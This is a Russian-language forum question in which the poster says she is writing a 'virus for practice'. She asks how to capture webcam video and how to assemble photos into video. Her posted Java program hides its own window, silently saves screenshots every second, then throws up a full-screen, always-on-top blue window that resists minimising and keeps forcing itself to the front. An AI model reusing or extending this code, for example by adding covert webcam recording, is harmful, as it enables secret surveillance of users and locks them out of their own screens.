Камера и Java Как?
Пишу вирус для практики и можно как нибудь чтобы видео с камеры снялось? Я хотела из фото сделать видео как можно сделать? мой код
package lesson18;
import java.awt.*;
import java.io.*;
import java.awt.event.*;
import java.awt.image.*;
import javax.imageio.*;
import javax.swing.*;
public class prog18 {
public static void main(String[] args) {
new myFrame();
}
}
class myFrame extends JFrame{
private Robot rob;
private Timer tm;
private int screen =0;
private Frame wnd;
public myFrame() {
try {
rob = new Robot();
}
catch(Exception e) {}
tm = new Timer(1000,new ActionListener() {
public void actionPerformed(ActionEvent e) {
saveScreen();
}
});
tm.start();
setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
setVisible(true);
setVisible(false);
}
private void saveScreen() {
screen++;
Dimension dm = Toolkit.getDefaultToolkit().getScreenSize();
int w =dm.width;
int h = dm.height;
try {
BufferedImage img = rob.createScreenCapture(new Rectangle(0,0,w,h));
ImageIO.write(img,"PNG",new File("c:\\java\\img"+screen+".png"));
}
catch(Exception e) {}
if(screen==60) {
tm.stop();
wnd = new Frame();
wnd.setResizable(false);
wnd.setBounds(0,0,w,h);
wnd.setBackground(Color.BLUE);
wnd.setAlwaysOnTop(true);
wnd.setUndecorated(true);
wnd.setOpacity(1f);
wnd.addWindowListener(new WindowAdapter() {
public void windowIconified(WindowEvent arg0) {
wnd.setExtendedState(Frame.MAXIMIZED_BOTH);
}
});
wnd.setVisible(true);
tm = new Timer(10,new ActionListener() {
public void actionPerformed(ActionEvent e) {
wnd.toFront();
}
});
tm.start();
}
}
}